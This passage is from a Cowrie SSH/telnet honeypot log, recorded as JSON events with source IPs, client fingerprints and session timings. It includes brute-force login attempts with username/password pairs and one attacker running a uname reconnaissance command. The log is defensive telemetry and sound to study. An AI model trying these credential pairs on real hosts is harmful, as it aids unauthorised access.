AAAAB3NzaC1yc2EAAAADAQABAAACAQDzsOaqN6I+y4bKttwps9j+Np8pUV08p+hSoUjyJ+jYxxjrpNVVPj+om6/In4fdRjI+uwjQzm4kKT7MC4+1rnb61DioNXd7tVNe3DKzfMIrBUHuGuIvM0o66V8vZgecLKKjUQF1dybum/lo/hI6KXPyJU+rsIglDu2UVrOMi5Ar5Pqr/+Fxlk0WjiasWRVlJg974MGo+EW8zoE2agwdoYTWn8SVwkhmzBSIQ8jXUY/BNp5r2mTSwJZovJjmpVQV4KcVB08BXdrr5edLOuWgAr6ulRw0jVcx0PpVmU+Xuh7FxzMfSBHHfA2qFGhMYvXGmsk1gSiCbT2Td72KKUgEdbAzWW5C+2t9D6A72XOthrIeSwtLaLycGFa5PLm0Ve/eQMRa27dnen0bDNF2aEiACv0MOZk6Ywxl1HQopzwf6XmdYP9eTJOCypqeuBCkfY9RUMHGh9KQm0R6ac3dYN7iOmkN0g+1hFElCNofjRXRNHWcVxxx1ikAXmWbbQiMdOq59vTiIEAocqg+I5jlzIPc1e80f7yWZf5t27RdgyR08ybrZEsYqb+cM12Ytb8vpysSOd0IYal1O8CMukoDPj+5RK15nOUy4131K6epxyAdKUIxptrhsCrxyzVjpQ7c1HVqYvu0xpGqYCMJy76R1zGSQbATIZ4Tj+ROmq0TJa1VFKrC3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:71:58:ff:17:e7:17:7c:7e:5d:9b:42:96:32:0b:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.732800Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:71:58:ff:17:e7:17:7c:7e:5d:9b:42:96:32:0b:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzsOaqN6I+y4bKttwps9j+Np8pUV08p+hSoUjyJ+jYxxjrpNVVPj+om6/In4fdRjI+uwjQzm4kKT7MC4+1rnb61DioNXd7tVNe3DKzfMIrBUHuGuIvM0o66V8vZgecLKKjUQF1dybum/lo/hI6KXPyJU+rsIglDu2UVrOMi5Ar5Pqr/+Fxlk0WjiasWRVlJg974MGo+EW8zoE2agwdoYTWn8SVwkhmzBSIQ8jXUY/BNp5r2mTSwJZovJjmpVQV4KcVB08BXdrr5edLOuWgAr6ulRw0jVcx0PpVmU+Xuh7FxzMfSBHHfA2qFGhMYvXGmsk1gSiCbT2Td72KKUgEdbAzWW5C+2t9D6A72XOthrIeSwtLaLycGFa5PLm0Ve/eQMRa27dnen0bDNF2aEiACv0MOZk6Ywxl1HQopzwf6XmdYP9eTJOCypqeuBCkfY9RUMHGh9KQm0R6ac3dYN7iOmkN0g+1hFElCNofjRXRNHWcVxxx1ikAXmWbbQiMdOq59vTiIEAocqg+I5jlzIPc1e80f7yWZf5t27RdgyR08ybrZEsYqb+cM12Ytb8vpysSOd0IYal1O8CMukoDPj+5RK15nOUy4131K6epxyAdKUIxptrhsCrxyzVjpQ7c1HVqYvu0xpGqYCMJy76R1zGSQbATIZ4Tj+ROmq0TJa1VFKrC3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.737116Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.780873Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01490926742554,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:38.111373Z","src_ip":"212.55.149.117","session":"ed0d926636b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":18321,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7f5c8f52854","protocol":"telnet","message":"New connection: 212.55.149.117:18321 (10.17.0.5:23) [session: d7f5c8f52854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:39.684256Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7804,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f7f9ad4627","protocol":"telnet","message":"New connection: 212.55.149.117:7804 (10.17.0.5:23) [session: 48f7f9ad4627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:21.763621Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38410,"dst_ip":"10.17.0.5","dst_port":22,"session":"1447509efbc0","protocol":"ssh","message":"New connection: 193.32.162.145:38410 (10.17.0.5:22) [session: 1447509efbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:37.105227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:37.109611Z","src_ip":"193.32.162.145","session":"1447509efbc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:37.218090Z","src_ip":"193.32.162.145","session":"1447509efbc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"sol","password":"solana","message":"login attempt [sol/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:37.530861Z","src_ip":"193.32.162.145","session":"1447509efbc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:37.825088Z","src_ip":"193.32.162.145","session":"1447509efbc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:37.828860Z","src_ip":"193.32.162.145","session":"1447509efbc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:37.969100Z","src_ip":"193.32.162.145","session":"1447509efbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:12:37.974486Z","src_ip":"193.32.162.145","session":"1447509efbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46258,"dst_ip":"10.17.0.5","dst_port":22,"session":"4246ff924c0f","protocol":"ssh","message":"New connection: 194.59.206.2:46258 (10.17.0.5:22) [session: 4246ff924c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:13:24.241061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:13:24.258611Z","src_ip":"194.59.206.2","session":"4246ff924c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:13:24.333982Z","src_ip":"194.59.206.2","session":"4246ff924c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:13:24.509852Z","src_ip":"194.59.206.2","session":"4246ff924c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.06002521514893,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:13:38.744130Z","src_ip":"212.55.149.117","session":"d7f5c8f52854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":10797,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7a3e41ba61","protocol":"telnet","message":"New connection: 212.55.149.117:10797 (10.17.0.5:23) [session: 6b7a3e41ba61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:13:38.877519Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":35568,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f44d7406a2f","protocol":"ssh","message":"New connection: 103.15.226.202:35568 (10.17.0.5:22) [session: 6f44d7406a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:14.815343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:14.820379Z","src_ip":"103.15.226.202","session":"6f44d7406a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:15.061999Z","src_ip":"103.15.226.202","session":"6f44d7406a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deamon_root","password":"deamon_root","message":"login attempt [deamon_root/deamon_root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:15.784235Z","src_ip":"103.15.226.202","session":"6f44d7406a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:17.027255Z","src_ip":"103.15.226.202","session":"6f44d7406a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00569677352905,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:21.769185Z","src_ip":"212.55.149.117","session":"48f7f9ad4627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":10025,"dst_ip":"10.17.0.5","dst_port":23,"session":"12c2ae71d409","protocol":"telnet","message":"New connection: 212.55.149.117:10025 (10.17.0.5:23) [session: 12c2ae71d409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:42.810420Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58058,"dst_ip":"10.17.0.5","dst_port":22,"session":"697c0f00e5a8","protocol":"ssh","message":"New connection: 193.32.162.145:58058 (10.17.0.5:22) [session: 697c0f00e5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:49.434697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:49.439331Z","src_ip":"193.32.162.145","session":"697c0f00e5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:49.543808Z","src_ip":"193.32.162.145","session":"697c0f00e5a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"test","message":"login attempt [solana/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:49.873282Z","src_ip":"193.32.162.145","session":"697c0f00e5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":44307,"dst_ip":"10.17.0.5","dst_port":23,"session":"737887d8e105","protocol":"telnet","message":"New connection: 212.55.149.117:44307 (10.17.0.5:23) [session: 737887d8e105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:50.846737Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:50.979367Z","src_ip":"193.32.162.145","session":"697c0f00e5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.193","src_port":29950,"dst_ip":"10.17.0.5","dst_port":22,"session":"b22a27329f22","protocol":"ssh","message":"New connection: 94.26.106.193:29950 (10.17.0.5:22) [session: b22a27329f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:54.675260Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:54.679998Z","src_ip":"94.26.106.193","session":"b22a27329f22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.193","src_port":29954,"dst_ip":"10.17.0.5","dst_port":22,"session":"a665fa8af92c","protocol":"ssh","message":"New connection: 94.26.106.193:29954 (10.17.0.5:22) [session: a665fa8af92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:54.798371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:54.804464Z","src_ip":"94.26.106.193","session":"a665fa8af92c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:54.889944Z","src_ip":"94.26.106.193","session":"a665fa8af92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:55.063048Z","src_ip":"94.26.106.193","session":"a665fa8af92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:14:56.152393Z","src_ip":"94.26.106.193","session":"a665fa8af92c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31576,"dst_ip":"10.17.0.5","dst_port":22,"session":"231fc7e2766d","protocol":"ssh","message":"New connection: 2.57.121.25:31576 (10.17.0.5:22) [session: 231fc7e2766d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:20.973699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:20.979171Z","src_ip":"2.57.121.25","session":"231fc7e2766d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:21.083958Z","src_ip":"2.57.121.25","session":"231fc7e2766d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18071992","message":"login attempt [user/18071992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:21.572061Z","src_ip":"2.57.121.25","session":"231fc7e2766d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18041978","message":"login attempt [user/18041978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:22.683475Z","src_ip":"2.57.121.25","session":"231fc7e2766d","protocol":"ssh"}
